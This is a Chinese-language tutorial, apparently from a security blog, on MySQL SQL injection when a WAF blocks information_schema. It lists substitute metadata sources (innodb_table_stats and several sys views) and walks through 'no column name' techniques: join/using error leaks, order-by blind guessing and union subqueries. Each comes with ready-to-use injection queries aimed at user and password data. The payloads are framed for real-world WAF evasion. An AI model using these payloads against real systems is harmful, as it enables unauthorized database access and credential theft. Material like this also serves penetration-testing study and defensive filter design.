有时候在进行SQL注入中,WAF会过滤掉information_schema这个库,这对我们进行手注产生了一定的障碍,此时就可以用到无列名注入来绕过。
information_schema库
简介
information_schema
是MySQL中自带的一个信息数据库,它提供了访问数据库元数据的方式,其中保存着关于MySQL服务器所维护的所有其他数据库的信息,如数据库名、表名、字段名、相关的数据类型与访问权限等。
information_schema
数据库中相关表的说明:
- SCHEMATA表:提供了当前MySQL实例中所有数据库的信息。是s
how databases
的结果取之此表。 - TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是
show tables from schemaname
的结果取之此表。 - COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是
show columns from schemaname.tablename
的结果取之此表。 - STATISTICS表:提供了关于表索引的信息。是
show index from schemaname.tablename
的结果取之此表。 - USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
- SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
- TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
- COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
- CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是
SHOW CHARACTER SET
结果集取之此表。 - COLLATIONS表:提供了关于各字符集的对照信息。
- COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于
SHOW COLLATION
的前两个显示字段。 - TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。
- KEY_COLUMN_USAGE表:描述了具有约束的键列。
- ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
- VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
- TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表
在SQL注入中的利用
一般的,在SQL注入中,都是先通过information_schema
库来查询MySQL中存在哪些数据库、指定数据库存在哪些表、指定表存在哪些字段等等。
# 查询所有数据库
select schema_name from information_schema.schemata;
# 查询指定数据库存在哪些表
select table_name from information_schema.tables where table_schema='security';
# 查询指定表存在哪些字段
select column_name from information_schema.columns where table_schema='security' and table_name='users';
然后,就是根据查询到的表名、列明进行进一步的查询即可得到目标数据。
但是,在一些WAF中是过滤了information_schema
的,此时需要换种方式注入。
InnoDb引擎
从MySQL 5.5.8开始,InnoDB成为其默认存储引擎。而在MySQL 5.6以上的版本中,InnoDb增加了innodb_index_stats
和innodb_table_stats
两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
在MySQL 5.6版本中,可以使用mysql.innodb_table_stats
和mysql.innodb_table_index
这两张表来替换information_schema.tables
实现注入,但是缺点是没有列名。
select group_concat(database_name) from mysql.innodb_table_stats;
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database();
实战中需要注意mysql是否使用了InnoDB作为数据库的引擎。
查看MySQL支持及默认的存储引擎:
show engines;
在MySQL配置文件中添加如下配置开启InnoDb存储引擎:
default-storage-engine=InnoDB
sys库
简介
在MySQL 5.7中,新增了sys系统数据库,通过这个库可以快速地了解系统的元数据信息。sys库是通过视图的形式把information_schema和performance_schema结合起来,查询出更加令人容易理解的数据。
sys库下有两种表:
- 字母开头: 适合人阅读,显示是格式化的数;
x$
开头 : 适合工具采集数据,原始类数据;
在SQL注入中的利用
当information_schema库被WAF过滤后,我们可以使用sys库进行替换利用。
sys.schema_auto_increment_columns
schema_auto_increment_columns
,该视图的作用简单来说就是用来对表自增ID的监控。
在设计表时,一般会给一些字段设置自增,而schema_auto_increment_columns
视图中保存的就是那些有自增字段的表的数据库相关信息。
本地环境中保存有sec库及其相关表的信息,这是因为这个数据库中这些表的id列都是设置为自增的,基于这个特性,就能替换information_schema
来查询数据库和表了:
# 查询数据库
select table_schema from sys.schema_auto_increment_columns;
# 查询指定数据库的表
select table_name from sys.schema_auto_increment_columns where table_schema=database();;
但是这里有个明显的不足就是,无法查询指定数据库中某表的列。
schema_table_statistics_with_buffer和x$schema_table_statistics_with_buffer
前面的schema_auto_increment_columns
对应的是存在自增列的表,但是针对不存在自增列的表的话可以通过这个视图来实现查询。
比如本地sec库的表中animal表并没有含有自增列,但是在schema_table_statistics_with_buffer
中能查询:
# 查询数据库
select table_schema from sys.schema_table_statistics_with_buffer;
select table_schema from sys.x$schema_table_statistics_with_buffer;
# 查询指定数据库的表
select table_name from sys.schema_table_statistics_with_buffer where table_schema=database();
select table_name from sys.x$schema_table_statistics_with_buffer where table_schema=database();
但是缺陷也是一样的,无法查询指定数据库中某表的列。
无列名注入
前面说的sys库替换information_schema
库的使用还存在个不足就是查询不到列,此时就可以利用无列名注入来实现。
join … using …
join
用于对两个表进行合并,using
用于在两个表进行合并时根据某列作为主列进行合并。
我们可以用join
对同一表进行合并,那么他们的列名就会出现重复,这时就会报错得知列名,然后可以配合上using
对报错出来的列进行排除获取下一个重复的列名:
# 得到 id 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b)as c;
# 得到 username 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id))as c;
# 得到 password 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username))as c;
# 得到 user 表中的数据
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username,password))as c;
order by盲注
order by
用于根据指定的列对结果集进行排序。一般上是从0-9、a-z排序,不区分大小写。
order by
盲注为何可以用于无列名注入呢?看个例子。
比如当我们需要猜解第三列的内容时,使用order by
实例如下:
select * from user where id='id' union select 1,2,'o' order by 3;
select * from user where id='id' union select 1,2,'p' order by 3;
select * from user where id='id' union select 1,2,'q' order by 3;
当猜测的值大于当前值时,会返回原来的数据即这里看第3列返回是否正常的password,否则会返回猜测的值。因此这样以来就可以在不知道列名的情况下也能猜出某个字段的值。
子查询
子查询也能用于无列名注入,主要是结合union select
联合查询构造列名再放到子查询中实现。
使用如下union
联合查询,可以给当前整个查询的列分别赋予1、2、3的名字:
select 1,2,3 union select * from user;
接着使用子查询就能指定查询刚刚赋予的列名对应的列内容了:
select `3` from (select 1,2,3 union select * from user)x;
select x.3 from (select 1,2,3 union select * from user)x;
实战中应用为:
select * from user where id='-1' union select 1,2,group_concat(`3`) from (select 1,2,3 union select * from user)x;
select * from user where id='-1' union select 1,2,group_concat(x.3) from (select 1,2,3 union select * from users)x;
select * from user where id='-1' union select 1,2,group_concat(x.c) from (select (select 1)a,(select 2)b,(select 3)c union select * from users)x;